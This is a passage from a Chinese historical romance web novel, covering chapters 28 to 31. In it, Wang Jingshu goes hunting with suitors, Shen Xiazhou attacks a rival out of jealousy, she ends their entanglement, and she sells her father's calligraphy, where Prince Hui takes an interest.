他松气一瞬,却见王静姝忽地去解衣带,衣襟从女郎肩头滑下,露出半个白润肩头。 沈遐洲不争气地鼻翼痒了,他防备地捂鼻,斥责女郎:“你做什么!” “你不是要我以身相许吗?”王静姝反问,“干脆择日不如撞日。” “过了今日,你莫要再拿救命之恩来胁迫我,也别再影响我寻好夫婿。” 沈遐洲被她气得鼻翼不痒了,改心口痛了,她要对他以身相许,可又要去寻好夫婿。 这是什么道理? 王静姝半拉着衣襟,冲他问:“不要?” “那便罢了。”她又将衣襟扯了上去,“是你自己不要的,日后莫要再对我挟恩。” 沈遐洲这时哪里还不知,王静姝分明又在耍弄他。 她着实是个可恶的女郎,一旦被她抓住了弱点,她便会毫不客气地拿捏。 他低声:“我也没说不要。” 王静姝倏地抬眼,她没有见过比沈遐洲更麻烦的郎君了,他不但给她带来麻烦,自身也是个麻烦。 她觉得她已经不喜欢这般郎君了。 换好宫女的衣裳,也没有必要再回端午祭席间了,沈遐洲送她出宫。 一路上,她听了不少郎君好声气的解释,什么沈二郎茶水中的药不是他安排的,陶然同她说的话也都是假的,他答应陶然帮其当上端午主祭,那是她还没有来洛京时的事,后来祥瑞一说更是为了劝退陶然才提及,还有宋娘子那边的做法,若是她不喜欢,他日后再也不做了…… 王静姝听得有些犯困,她为筹备端午祭,从叔母那得来的请帖,有许多都已过了时日,她该去问问叔母可还有新的。 她许久都不曾骑马了,前些日子郑家七郎君好像邀请她去田猎…… 王静姝出神地想,隔日,便同沈四娘子出去挑选马匹了,还做了几套新的骑装,夜里的时候,也都同沈四娘子歇在了一处。 而她的流虹院,她又有了新的想法,又在给屋子改建。 如此,沈遐洲有空时,便一直都寻不到王静姝说话,夜里的途径也被堵死了,郁闷非常。 没几日,他更是被调离京城剿匪去了。 第28章 第28章三哥他是疯了吗? 日光灿烂,绿林繁茂葱郁。 年轻的郎君女郎们驭马奔驰,三两分散追逐猎物。 其中奔在最前头的女郎衣衫鲜艳,容色姣好,眉眼张扬妍丽如妖花,非是姿容妖,而是那种由内而外旺盛的生机,惑着人不受控地想同她接近。 不论是男郎还是女郎,都喜爱她。 她追逐的是一只野兔,又落了空,停顿的空挡中,有人顶上她去追逐,也有人抓住了这个机会凑到跟前,“王娘子,我刚在一林中遇得几株山茶,颇有野趣,我带你一同去瞧瞧可好?” 有人嗤这位郎君:“这山林我来了不知多少次,哪来的山茶花,莫不是你早前命人移栽来的?” 郎君被戳穿一般地梗脖争辩:“你没见过不代表没有,说明我寻得用心。” 那人又讽:“我等确实不及祝郎文雅的读书人,连出来猎物也不忘风雅寻花。” 哄笑在王静姝身后传开。 她却眉眼上扬地望着拎着野兔回来的郎君,这郎君一身束袖劲装,身姿挺拔,行走落拓隐有金戈锐意,正午的日光落在他面孔上,不算白皙,可剑眉星目俊朗至极。 是吕相家的三郎吕思温,字清游。 王静姝早便见过他的,在郑家赛牛草场那日,年轻郎君衣袍振振,牛车在他掌控下一往无前,初见之惊艳,不下于沈遐洲。 若非当日突发的意外,她想她应会早一点同这郎君相识。 吕三郎提了野兔,翻身重新上马,一牵缰绳,转向在不远处的王静姝,“王娘子,”他视线下移,递出野兔。 野兔还活着,在他手中还一蹬一蹬后腿,瞧着很是健硕有力,然,吕三郎手臂半点不带颤的,只束袖的臂膀绷出些肌肉弧线。 王静姝从郎君的臂膀移到那野兔,认出是刚从她手中逃跑的那只,当即弯了眉眼道谢:“多谢吕郎君。” 她身后机灵的奴仆马上知意地上前接过野兔。 而此时,那没有停歇过的争吵也倏地停歇了,两个争得面赤的年轻郎君,默契地扭头盯向吕三郎,活像被背叛了。 他们争了这么久,最后竟被吕三抢了在女郎跟前表现的机会。 吕思温脊背放松,意态无畏,眉眼扬起间全是对他们敌意的轻慢。 挑衅一瞬,他邀王静姝道:“王娘子,可还要继续猎?” 他们是日头还不晒时来的,此刻照在身上的日光已有了些灼人的温度,她抬手遮了遮日光,摇头,“不猎了,先回营棚烤肉吧,四娘子应也等急了。” 她近来同沈莹玩得越发的好了,不过沈莹瞧着是个活泼的,真动起来时,过不了多久便会喊累,早早地在营帐歇着等了。 她一说要结束,跟同她一起的几个郎君自也说起日头太晒,先回去的好,甚至驱马往她身侧抢占位置,眼见那两不对付的郎君又要争了起来。 王静姝无辜同吕三郎摊了摊手。 她容色虽偏艳丽,可眼眸又极清澈纯美,一笑起来,清润润,又明明亮亮的,此番无辜作态,更是让人一径过电一般,酥麻到心间。 吕三郎心中渐有风起之势,他一拍马后,驱马到女郎身侧,“王娘子可要比比谁更快回营?” “有何不可。”王静姝话语的同时也拍了马,马上超出了他半个马身。 吕三郎反应不可谓不快,当即也拍马追赶。 后头还在推挤的两位郎君同落后的奴仆们相觑一瞬,同声地大骂吕三郎不讲武德。 王静姝与吕三郎并非真是为了比试,跑至一半,吕三郎便放缓了马速,向后瞭望一眼,“他们一时追不上来。” 也放缓了马速的王静姝“噗呲”地笑 出来,望向吕三郎的目光多有些揶揄:“吕郎君就不怕之后被缠上?” 王家六娘子姝色动人,早前少往外走动也便罢了,近来却是越来越多的人知晓沈家有个美貌十分的表姑娘,王静姝每每出现在哪,就有一群的年轻郎君争相陪伴左右,吕三郎已这般解救过她多次,实在众怒难消啊。 吕思温倒是半点也无惧,他一手按辔,意态张扬:“那也要他们打得过我才行。” 说着,他驱马慢踱,余光随意瞥向女郎:“王娘子不必同我客气,也别吕郎君吕郎君地喊了,听着别扭,我家中行三,可直接唤我清游或是三郎。” 还相识不久,这话若是换了旁人说,多有些轻佻,可安在吕三郎身上,却显得合情合理,还隐约带着点儿侠气。 吕三郎虽也出自世家,家父更是当朝宰辅,可许是幼子的缘故,家中对他约束并不多,听闻他早几年甚至还在外拜师学艺,家中惦念得紧,方回了洛京。 同他相交,颇令人自在,王静姝也不是忸怩的女郎,当即笑喊了一声:“三郎。” “日后我便这般唤你吧。” 吕三郎被女郎唤得眉眼都舒展了,愉悦地抬了抬眼,听得后头有追来的动静,拉扯王静姝马匹缰绳一下,一同换了条小道,等人都过去了,才又从小道灌木后踱出。 望着那腾起的尘雾,吕三郎道了一句“好险”,差点就同先才的两位郎君狭路相逢了。 王静姝便笑:“三郎不是说他们打不过你吗?” “单打独斗他们自然不是我的对手。” “可他们若是气急下加上他们的卫士,我双拳难敌。”吕思温摇头道。 王静姝并不知他武功到底如何,但瞧他说笑一般地调侃,想来便是卫士们一起上,他也不惧的。 既不怕后头再有人缠上来,两人便如此说着话,在林间行得颇为闲适,还又打了两只山雉。 为了田猎而支起的营棚,仆从在溪边处理着主子们打到的猎物,而已归来的郎君女郎则三两聚在一块烤肉。 会不会烤其实都不要紧,众人也不过是为了好玩而已,即便都烤坏了,也有早就从家中备好带来的肉类松菌。 王静姝甫一在沈莹身侧坐下,就有好些蔬果和烤好的肉串送到跟前。 这还是沈莹除自家二哥外,第二次从人身上享受到这种便利。 她真是吃够了这类人带来的苦头,可又真切地喜爱离不开这类人。 沈莹一边嚼着郎君们送来的烤肉,一边撑着脸颊瞧王表姐如一只翩跹的彩蝶一般,一会去学叉鱼,一会又投壶挑战百骁。 感叹王表姐精力可真旺盛,瞧着也从没有为端午主祭落选伤怀,二哥真是担心多余了。 * 在王静姝与新交的好友们玩乐的同时,有一队人马正从洛阳城外赶回,最前头的郎君快马而行,风姿迢迢,他其实知自己为何会突然被派出剿匪,长公主不满他的不听话了。 但过往他也不见得听话,不过是他自来装得好。 除此外,长公主也是在告诉他,他不愿意做的事,自有人会继续做。 作为她的孩子,不该成为例外。 他查到一半的事也被就此打断。 在去剿匪前,他也能感受到女郎一日日的疏远,他心焦却不得法,只能将一腔怒火撒在匪患上,原本要用上至少半月的行程,被他缩短了数日。 眼见沈府就在眼前,他胸腔激荡,下马扬起的衣摆都带了些雀跃,无论如何他绝不与王静姝两清。 踏入沈府大门一瞬,他听得自己身后传来一声“三郎”。 那喊声熟悉无比,尾音是如钩子般上翘的腔调。 年轻郎君激动转身,却将女郎的话听了全,女郎说的是:“三郎,多谢你送我和四娘回府。” 沈遐洲眼前金星乱冒,他瞧见女郎笑靥如花,也瞧见另有郎君搀她下车。 女郎纤柔白皙的手搭在旁的男子腕上,刺眼的白,却刺红了他的眼,杀意从他心头涌出。 还沾有匪患血污的长剑被拔出,斫冰雪般的寒光雪亮无比。 沈四娘子惊得张圆了唇,她觉得她二哥该担心的不是王表姐,而是三哥,三哥他是疯了吗? 第29章 第29章岂能如此轻易地善罢甘休…… 吕思温感受到挟着杀意的剑势袭来,电火石花间,他手腕翻转一下,拉过搭在腕间女郎的手,拥着女郎一齐躲避后撤。 年轻男女衣袍交织在一处,随着动作惊扬起鸿起鹊飞的弧度,那弧度起落间遮住了男郎与女郎的动作,又在下一刻露出女郎惊惧又依赖的神情。 女郎被人拥护着,体态在男子身前,那样娇弱,又那样柔若无骨,她像是整个人都嵌入了男子的怀抱。 怒火燃起的热血“砰”一下冲向沈遐洲头脑,烧向他四肢百骸,剑锋锐意破风裹势一般劈向没有寸铁的吕思温。 吕思温动作也极为矫健,上下翻腾,躲避,挥掌,每一次都巧妙挡开沈遐洲伸来抢掠女郎的手。 王静姝觉得自己脑子都是嗡嗡的,她揪紧了吕郎君肩上衣料,她想让他停下来,可又根本寻不到机会让他停下。 她也想让沈遐洲停下,但他们的动作实在太快,她也不过是在几个间隙的时刻里,瞥见俊美的年轻郎君双目充血,容色扭曲阴鸷无比。 王静姝为这样的郎君心惊,也生出了几分胆怯,当然还有更多的怒。 他怎么一回来就寻她麻烦。 他在大庭广众下这样动手,伤了和气不说,他有考虑过她的处境吗? 长公主若是知晓了,最后受累的还不是她? 沈遐洲非要将她作回建业才甘心吗? 沈莹无疑是机灵的,从瞧见打起来就心道不好,一路跑去寻沈二郎:“二哥,不好了,三哥和人打起来了。” 沈二郎是个闲散郎君,日日不是交友就是自娱,他幻听了一般地落下棋子—— 三郎和人打起来了? 他那淡漠常不理人满心大抱负的三弟能与人打起来? 那好像是挺有意思,他还不知事情的严重性,整着衣袍道:“瞧瞧去。” 沈莹可没她二哥这般的好性子,急得去拉他,一张口也又急又慌:“我同王表姐才回府,一下马车,三哥就疯了一般地攻向吕三郎。” 沈二郎停顿一瞬,好像有点意识到事情的严重性,也不用沈莹拉了,快步走向府外。 裂帛的声音清晰又刺耳。 吕三郎被划破了衣袍。 沈二郎眼前有些发黑了,这可是吕相家的郎君,吕相本就同长公主在暗中对垒较劲,三郎这不是送上门的让人发落吗? 他不能让三郎被拿了错处,他沉声喝道:“三郎,你这是做什么?” “那是吕相家中的郎君,不是挟持表妹的歹人!你快住手!” 沈遐洲冷笑,欺的就是吕三郎。 而吕思温听到沈二郎的高喊,也觉得没必要这样打下去,“沈三,我是送你家中姊妹回府的。” 沈遐洲充耳不闻,攻势不减,但并非是真攻,而是趁此机会将王静姝夺了回来。 他唇终于勾了一下,显得冷静不少:“原是如此,多谢吕郎送我表妹回府。” 他咬重“我表妹”几字。 吕思温莫名,而沈二郎甫一见他们分开,就急着上前道误会,邀吕三郎入府看看伤势,力图将矛盾就此定性。 王静姝被两位郎君争来夺去,上下翻飞跳跃的,此刻早已白了脸,但听得沈二郎的话,也下意识往他们方向望一眼,显然的,她也不想事情闹大。 吕思温被女郎望得心下一软,想女郎借住沈家,必然也多有顾虑,他的那点恼也 不该为女郎增添不必要的麻烦,他一敛衣袍,拒绝沈二郎的好意道:“只坏了衣袍,既是误会,说清便好。” 继而,他语气一转,目光也射向沈遐洲:“倒是沈三郎,我竟不知你武艺如此之高,改日定来讨教。” 他话语并非全然的怒气,真有几分欣赏沈遐洲的武艺,还有点没放开手脚比试的不服和遗憾。 沈遐洲容情淡淡,对他爱答不理,心神放在了夺回的女郎身上。 王静姝心中对他有怒,缓过气来便挣开了他搀扶,眼也不看沈遐洲,只对吕思温道谢后兀自进了沈府。 沈遐洲又听女郎唤吕思温“三郎”,还就当着他的面喊,神情狞一下,沈二郎都怕了他了,连忙搭着吕思温的肩背转了个方向,还抽空回头瞪了他一眼,满满的警告。 沈四娘瞧了一会,追王静姝去了,她一眼又一眼地瞥王静姝。 王静姝被她看得无奈,停顿脚步:“四娘为何这般看我?” “表姐,我觉得你还是比我二哥厉害一些。”沈莹道:“至今为止,我至少没见过女郎为我二哥当街打起来过。” 沈莹未经情爱过,甚至也从未见过王静姝与沈遐洲如情人般相处的时候,可旁观追慕沈二郎的女郎足够多,直觉又过分敏锐。 此刻完全是下意识地开口,却恰恰一针见血。 沈三郎非是误认了歹人,他是为了王静姝而动的怒。 王静姝满脸恍惚地看向沈莹,原来她和沈遐洲这么明显的吗? 可再看沈莹,她又是满脸不解的模样,“可我三哥为何要为表姐你同吕郎君打起来呢?” 王静姝沉默了,她不懂沈莹到底是看出什么还是没看出什么了,果然,她还是需同沈遐洲断干净一些。 她轻声:“非是为我打起来,说不得是他们过往就有矛盾。” 当真是这样吗?沈莹一会觉得有些违和,一会又觉得,三哥那般阴晴不定,也真说不准。 她犹未想明白,便已与王静姝分开了。 流虹院在沈遐洲不在的这几日,便已修整好,王静姝也并不再与沈莹住一起。 此刻也是回的自己的小院。 还不及小院,她又被人拉一下。 她都快要习惯如此举动了。 会这样做的人,她只能想到沈遐洲。 她微向上掀眼,果然,拉她的郎君是沈遐洲。 他一如往常俊美,可又有些不同,面色苍白,几多病态,眸中也幽黑冷寒,这一刻,他看起来又成了极不好接近的郎君了。 可王静姝并不怕他,“三表哥寻我有事?” 沈遐洲静静凝着女郎,心也在短短的时刻里被来回地揉捏玩弄,他发觉了,女郎一点都不想他,在他日夜兼程之时,女郎说不得在和某个郎君嬉笑玩乐。 他半点也瞧不出女郎对他的在乎了。 呼吸在顷刻间,僵得堵塞。 他不吭声,王静姝却不再愿意搭理他,不管他是否愿意,她都单方面地做到与他两清。 她迈步要走出花墙阴影。 沈遐洲怔怔望着女郎抽离,又半身沐在暮色霞辉下,白皙的肌肤像是蒙了一层瑰色,蓦地,他胸腔一滞,感觉女郎即将走出晦暗,甚至走出与他的所有交往。 他岂能如此轻易地善罢甘休? 他伸臂轻揽一下,将女郎重新捞回,委屈道:“你不问问我这些日子经历了什么?在外过得如何吗?” “王静姝,你一点都不为我担忧吗?”他半佝下身,下颌轻磕在女郎肩头,偏脸轻喃间,鼻尖乃至鼻息都贴着女郎颈间。 微弱的,痒痒的,令人受不了的怜弱。 她固然薄情,不够喜爱沈遐洲,可沈遐洲实在狡猾,他知她喜爱什么样的郎君,也知她的心肠会软在何处。 他是会伪装的罂栗,瞧着隽逸端然,丰神雅澹,却时时刻刻萦着迷离的危险。 而她偏偏会被这样的郎君吸引。 她几乎被郎君的示弱诱软了心肠,心脏也在不受控地又在为他狂跳。 然,花墙旁晃动的树影又在唤回她的理智,那树影张牙舞爪,又将她与沈遐洲的身影完全遮蔽,她想起了长公主那洞察一切的冷容,还有一些枝末的小细节。 她推开沈遐洲,直言:“三表哥,我想了很久,你提议的‘当你我从未相识过’很好。” “我是来京中与世家联姻的,你我这样于礼不合。” 沈遐洲本就连日奔波,又在府门外大打一架,此刻脑袋嗡地一下,忽地就有些听不清女郎在说什么,可女郎半点没有准备放过他。 她继续在说:“你即便知道我与陶娘子冲突,你想的也是换个法子帮她,寒门的势力除长公主要外,三表哥你也心动对吗?” “不然为何你还是白身时,就参与到其中呢?” “你牛场救我的同时,也得到了好处对吗?”她一边问又一边肯定地自答:“你被举荐了。” “还有,你看你见我时,不是有正大光明的理由,就是偷偷的。” “你也并不想娶我呢。” 女郎似叹又似难过,可又那般的直白,既扯开两人之间最本质的问题,又将过往不曾联系的事情连在了一块。 这时再看,才发现她竟忽视了这般多。 他们果然不适合呢。 还好,她还不够喜爱这般郎君。 沈遐洲面色越发地苍白了,他既被女郎说中了很多,又有非常多想辩解的话,如,不是不想娶她,也不是刻意偷偷见她,而是他不确定她心意,也自知道长公主寻过她,更担忧她被为难…… 他唇瓣微动,张口欲说些什么,女郎言语又刺向他:“日后你莫要再私下与我见面了,我不喜欢。” “我要走了。” 王静姝有点瞧出沈遐洲面色不对,可他自来就常那样看着弱弱的,但方才同吕三郎攻势又极猛烈,想来是无事的,遂而话也说得越发快,最后一句话落,更是毫不犹豫地转身。 然也是她一转身的功夫,背后的年轻郎君身形就一个趔趄,摇晃着倒下。 沈遐洲被女郎伤透了心,甚至闭眼前瞧见的也是女郎惊讶无比地转身,眼中满满的不可置信和嫌弃。 他彻底不甘地昏了过去。 第30章 第30章你休想嫁出去。 王静姝实在是想不到沈遐洲怎么就突然倒了? 她惊讶转身,但又不是很焦急,而是远远地观测了会,见郎君当真是没有动静,才叹气一下,靠近。 再俊美的郎君倒下的姿势也好看不到哪里去,还有些沉。 王静姝蹲在他身侧,撩开遮住他面容的乌发,病郁的郎君唇色浅淡至极,可他的眉和眼睫又像笔墨浓淡正好山画,清远又淡雅。 王静姝痴痴看了会,不由伸出手指轻轻戳了戳他脸颊,指腹下滑,被一点粗糙划拉一下,是郎君没有处理干净的胡茬,只有一点儿,但足以猜得他赶回来的急切。 毕竟他是那种内心不管多阴暗,但面上总是端然淡漠的郎君,许多生活习惯和举动,都偏执般地遵循着某些教条。 他不会蓬面示人,面颊上也自来处理得干净。 王静姝指腹不自主地,又摩挲了下郎君那点不显眼的胡茬,也想起郎君搭在她肩上问她——“你一点都不为我担忧吗?” 她自是担忧过的,可又不是特别的担忧,就像她对他的喜欢一样,有,但不是全部。 她起身,直接不管沈遐洲了,她既然连伤人的话都说了,没道理到了这时候又拖泥带水。 认识沈遐洲这般久,她知道的,沈遐洲身边有隐在暗处的卫士。 只要她走开了不管,那些卫士必然出现。 嵇牧为首的卫士,就那般瞧着女郎极为狠心地离开了,裙摆像永不停歇的流水般扫过落花。 * 沈遐洲梦里昏昏沉沉,美梦中女郎笑靥请他观舞,转眼梦境破裂,女郎与脾性相投的吕三郎相交一处。 他气得双眼发红,睁眼醒了过来,吓得守在一旁的星泉差点又跪了。 “郎君,你醒了。”星泉慌张询问。 沈遐洲对他的明知故问抬了一眼,嗓音虚弱:“六娘子送我回来的?她在哪?” 气氛诡异的沉默。 星泉觉得自己还是跪着说的好:“郎君,没有王娘子,是嵇护 卫送你回来的。” 而且,已经一夜过去了。 后一句还没有说,就已眼见的,年轻郎君目色沉了下来,奇异的病态铺满眼底。 “把嵇牧叫来。” 嵇牧是沈遐洲的近身卫士,郎君与王娘子自小的恩怨他了解没有十分也有七八分,没想两人长大后,除去起初一些时日的不对付,竟走向了诡异的和谐,诡异的爱恋。 这令他在两人独处时,根本不敢出现,终于,担心的事情还是发生了,两人结束的也很是—— 恐怖! 嵇牧只想得到这个词。 这两位一旦闹起来,那是谁也不相让的,而且,他瞧着,明显是自家郎君陷得更深一点。 早就听得了屋内动静,避不开地不用星泉来寻,他认命般地到了郎君跟前。 “我晕后发生了什么?王静姝她是不是吓到了?她是不是很担忧我?”沈遐洲一连问了三问,甚至为她开脱地想,她一弱质女流,自然是扶不动他的,寻嵇牧送他回来也情有可原。 嵇牧回想:“王娘子摸了郎君,确认郎君没死就走了。” 除了为确认郎君死没死外,嵇牧想不出王娘子摸郎君的意图,至于吓没吓到,郎君身体最不稳定的一段时日是在建业待的,王娘子又常来寻郎君,早就习惯了,他回忆一下肯定道:“王娘子应早已经习惯了,没有被郎君吓到。” 嵇牧还想回忆,被喝一声:“下去。” 沈遐洲苍白憔悴的面容,发出些下颌咬动的咔滋声,王静姝这是铁了心地要同他断了,她果真是个狠心薄情的女郎,她又要弃了他。 沈遐洲越想越悲切,心底也生出难灭的偏执—— 是她来招惹我的,断了,想都别想,她也永远别想同旁的郎君卿卿我我。 年轻郎君躺靠在枕上,双目盯着帐顶,隐有狂意流动。 过了许久,星泉又听得床帐中传来郎君的声音,“备水沐浴。” 他在外赶了数日的路,回府又耽搁了一夜,宫中还需去一趟。 星泉应声去准备,当郎君再整饰端然出现时,星泉莫名觉得郎君又变了,非是变得不熟悉,而是变得太熟悉,似乎又回到了王娘子来洛京前时的模样,冷清又淡漠,山尖捧雪一般不可攀也不可融。 星泉不由缩了缩脖,阴晴不定的郎君固然可怕,但没有情绪的郎君更吓人。 他好像懂得了过往跟从郎君的卫士,提起王娘子为何那种难以言说的表情了。 郎君甫一离府,星泉便机灵地去了流虹院,想同院中两位侍女姐姐打听王娘子,他打定主意,见到了王娘子就哭,哭郎君病骨支离,形容憔悴,最好将王娘子哄去瞧郎君,两位若是能借机和好便再好不过了。 然,到了流虹院,才发现竹苓竹沥两位侍女姐姐根本无空理他,她们忙着将王娘子从建业带来的箱笼取出整理,他殷勤上前,帮忙接过重物,趁机问道:“竹苓姐姐,你们这是做什么?”视线从重物往屋中瞥:“王娘子可在?” 竹苓并不要他帮忙,甚至有些隐晦的不待见,从他手中接回小半人高的白釉梅瓶,声音冷淡:“我家娘子这个时辰惯来要午歇。” 星泉“哦”一声,不明就里,怎么连他也被冷待了啊,郎君到底做了什么啊? 打发走了星泉,竹苓才捧着翻找出来的字画到了里屋中,王静姝并未睡下,她手中拿着一张信纸来回地看。 时下纸贵,她手中的纸更是有名的剡藤纸,这纸薄韧白滑,有“玉叶纸”之称,是掌握在一些世家手中的造纸术,也是王家惯用的纸张,这是家中给她来的书信。 她擅自离开建业,家中知道后,大伯多有不悦,显然的,大伯父动了同丹阳王交好的心,一边与洛京的沈家交好,另一边又不忘搭上丹阳王,两边下注的世家本色可真是一贯的令人厌恶。 父亲能帮她挡得了一时却挡不了一世,信中虽未立即催促她家去,却断了她的供给,她是世家金玉堆养出来的贵女,她色彩多样的华服在外从不会穿第二次,近来在洛京的用度除了家中带出来的金银,还有王家在洛京产业的支取。 她被断了后头那条道。 从来没为金银为难过的女郎第一次为此生出了烦恼。 “娘子,这些便是家中带出的家君字画。”竹苓道。 王静姝瞥眼瞧竹苓抱来的字画,伸手去挑拣,选出几幅,道:“就这些吧,晚些拿去卖了。” 竹苓面上为难:“娘子,现下用度还尚可,或许不用这么急?” 这些可都是家君单独为女郎提的字画,有些还多有纪念意义,就这般卖了也太过可惜。 王静姝知道竹苓在想什么,不过这都是她父亲给她写的画的,她父亲还活着,以后再给她补就成了,该庆幸,她阿父还有这方面的名气,不然她可真支撑不了多久贵女的体面了。 大伯这是不好和她父亲撕破脸面,逼迫侄女,才想着法地断了她的供给。 她才不回去。 她会在洛京寻一个家世好,年岁也与她相当的好郎君,所以她是真的不能与沈遐洲纠缠了。 想起沈遐洲,她心中仍旧会划过一些可惜,早知如此,便先睡了他了,也不至于总惦记着。 竹苓仍试图转变娘子的想法,建议:“娘子,不如同沈夫人说一声?” 王静姝摇头,叔母虽是沈氏女,可毕竟出嫁了,许多个人用度也是不好从沈府中出的,况且还带了一个小郎君,要花钱的地方也不少呢,没道理再从她的那份支取中分一部分给侄女的。 她早些挑拣出字画卖了,也是为了以防万一,银钱留在手中才安心一些。 她放下信纸,拍板一定要卖,继而叹息地趴在桌案上:“我的新衣飞走了。” * 另一边宫中述完职的沈遐洲出了宫廷,笑意浅淡,只虚浮在表面一般带着寒意,王静姝不是爱与吕思温田猎吗,他刚举荐吕思温了,将吕三调离洛京,看王静姝还如何与其田猎,又喊谁三郎? 每每想起女郎唤旁人三郎,他便满心扭曲,更是回想起,王静姝自来洛京后从未喊过他三郎。 王静姝明明先认识的他,三表兄是他,沈九如是他,沈三郎更该也是他。 他眸中狂意涌动更甚,已迫不及待想看到女郎知晓吕思温离京后的失落。 王静姝,你等着瞧吧。 你不在意我,我便将你在意的郎君都送走,你休想嫁出去。 年轻郎君想得笑意越发诡异,随身护卫的嵇牧默默远离了他。 他也迫不及待想将这个消息告知女郎,然回府才得知,女郎出门了。 王静姝带着她挑出来的那些字画,寻上了洛京中有名的金林玉书阁,这事她本是想直接交给竹苓办的,可洛京的这些雅趣地方,多的是看碟下菜的铺主。 她自己走一遭,也免得她父亲的书画被压了价。 此刻,她正被金林玉书阁的掌柜引着看阁中的书画,偶尔一语中的地说些见解,眼见铺垫得差不多了,准备取出自己要售的字画,忽地听得有人唤她—— “王娘子,当真是你。” 来人声调低朗,如春风拂面,又像山中清泉,光听声音便很得人好感。 王静姝回头,竟是许久不见的惠王。 山寺之约无疾而终,于王静姝而言并不是什么值得遗憾的事,她是被众星捧月惯了的女郎,一年到头被遗忘的约定不知几多,此刻也不过是见到人后,想起些什么地关怀:“惠王殿下身体可是大好了?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章“卿卿,告诉我。”…… 惠王被女郎问得停顿一瞬,因这实在是许久之前的事了,他温和笑笑,“早已大好了。” “王娘子是来看书画的?” “我是来卖书画的。”王静姝直言。 惠王视线陡地凝在王静姝身上,其实 在这之前,他们并不是没有碰面的机会,端午祭时便远远见过,不管是那时,还是此刻的女郎都华光熠熠,看不出任何窘态。 既如此,缘何变卖字画? 王静姝是骄傲的女郎,她只是不屑说谎罢了,可也不喜欢被人乱揣测,即便面前的惠王眼神并没有显露出任何异样,她也不喜被打量,她道:“整理箱笼时,整理出不少家君的字画,放着无人共赏,便拿出来售卖。” “也瞧瞧我阿父在洛京可也能纸贵风靡。” 她的神情太过骄傲,扬起的眉眼都满是自信的模样,很是惹眼,所有猜测都不由一扫而空,只被女郎的情绪所感染。 “王公字画早有耳闻,今日是我幸也,不知王娘子可否展于我一观?”惠王语中恳切,对王斐如字画多有期待。 “自然。”王静姝对此并无不可,惠王是洛京有名的老好人,能有这种称谓,那至少也是有声名的,他欣赏阿父的字画,只会吸引更多的人来关注。 眼下就有不少被他们动静所吸引的文士。 她也不吝啬,当即让掌柜的空出一面画墙来,当众展开了一幅行书。 时下文人多爱用书画谴兴抒怀,好的书法绘画极易在文士之间流传推崇,甚至模仿,只见展开的行书运笔丰盈跌宕,行笔之间枯涩疾速更是气韵涌动。 不管是上下俯仰,还是左右顾盼,都有无尽的意味,越来越多的人被吸引过来,各种夸赞更是不绝于耳。 打听下这竟是南地有名的名士王斐如之作,并且有售卖之意,登时就有竞价者。 价竞至最后,竹苓都露出了喜色,一幅千金,可比初时想的要多上许多。 王静姝面上不显,但眉眼却是轻轻地扬了扬,惠王留意到女郎那喜不甚禁的得意模样,兴味不已,同身边仆从瞥眼示意一瞬,仆从立马领会离开。 人群中忽地将字画抬到了三千金。 本就不是什么刻意造的势,此刻在场的文士也非个个能一掷千金的主,价至此刻早已无人再争,只是有些可惜不能再多观摩一会,仿仿和学习,便要入了个人的私藏。 王静姝也没想到单是一幅字画,就卖出了意想不到的高度,手中余下的也不急于一时,有了新的打算,但直到那幅字送至惠王手中,王静姝才后觉出惠王的有意抬举,有了他的此番举动,她阿父的字画算是彻底在洛京成了气候,今日没能观瞻够的文士怕是有得惦记,只消他们出去多叹息几声,她手中余的许是也能水涨船高。 以金银博美一笑的隐晦讨好,王静姝不是没有感受到。 少见地生出些拿人手短之感来。 惠王不可谓不洞察人心,笑道:“王娘子家君字画尽美至极,孤一眼便甚喜,有意在千秋宴之时仿一幅祝词。” 惠王又笑,望着王静姝道:“娘子想来也颇得家君真传,不知孤可否有机会请娘子共论一二?” 惠王本意或许是为与王静姝有共同语言,可他实在选错了道,王静姝跟着父亲确实受了不少熏陶,可那些熏陶是样样不精,就好比她阿父那一手精妙的字画,她就半分没有得到真传,她也不擅行书,能拿的出的唯有楷书,而且也当不得品鉴,若是交谈的深了,她怕是要丢了阿父的名。 貌美女郎长眉微蹙,显出些为难,她抬眼:“怕是不行。” 惠王一怔,没想会被女郎这般直白地拒绝,但失落不过瞬息,又听女郎道:“我自来贪玩,得父之传不足一二,不过我家中还有不少家君字画,可以一同借给殿下。” 她想着,原先理出来的不少不方便卖掉的倒是可以借给惠王,便如此提议,目中也多是真诚。 惠王着实是个好人,还是个钱多的好人。 越是如此想,她面上的赧笑也越发地动人。 惠王望得心神一漾。 两人的话至最后,约好何时将书画交换,惠王又为感谢邀她去石窟寺观壁画。 南地就已多佛教寺院了,北地更是不遑,甚至广开石窟,用佛像雕塑与浮雕壁画来讲述佛传故事,像她上次在空山寺瞧见的开在石洞中的佛像,那是以石刻为主的,而惠王提及的石窟寺,除石刻以外,还有泥塑和壁画,各类佛像的造型和妆彩也是相当辉煌的。 偶尔逛上一次佛寺倒是还好,可她本性就不爱这种庄严肃穆的地方,只是面对容色清俊,谈吐温和的惠王,王静姝实在说不出拒绝的话来。 她欣然应允了。 回沈府路途时,一想起自己应下的约,不由捂面自愧。 而望着女郎车马行远的惠王,神色依旧温和秀雅,只浓郁的眉眼舒展开中,竟有些诡异的愉悦。 许是他老好人的形象过于深入人心,他肆意舒展开的眉眼,总与他显露出来的气质相违和,有些妖异,又有些势在必得? 然,这种神态转瞬即逝,无人捕捉。 他扫视一眼卫士递上前的字画,接过后,淡声问:“陶娘子近来如何?” 卫士近身一步,压低声道:“陶娘子一切如常。” 一切如常自然指的是,陶然借端午祭的亮相,令各阶世家都知晓有这么一个陶娘子。 而她搬入了小皇帝赐的新府邸后,并没有就此停歇扩大自己“神女”的影响力,她力求让洛京更多的世家看见她,将她放在眼里的那种看见。 要做到这一点,光靠小皇帝的一些封赏可还不够,惠王为她指点了一途。 何不利用“祥瑞”勾连天意,扩大佛缘呢? 与同样有野心的人说话,有时话不必说得太详尽,便自可意会。 陶然当真抓住了机会,创造与信佛的世家女眷们相触的机会,深植了她们对她的信奉。 而他,乐得当这个好人,甚至在暗中为她造势。 寒门武将与京中世家相比确实上不得台面,可大绥如今也不过是表面上的一统罢了,长公主之前的几任帝王,几乎将大绥国祚败得七零八落,在大绥统一之初,中原曾割据数个政权,有大有小,小的在不断倾轧中被吞并,最后大绥成了最后的赢家。 大绥开国帝王因半生戎马,在大一统后主张偃武修文,为此实行了许多的政策,还为加强统治大规模迁民过,如此放心后,才在维持国内统治秩序的基础上,裁撤了洲郡兵,给兵将分配土地,从事耕种。 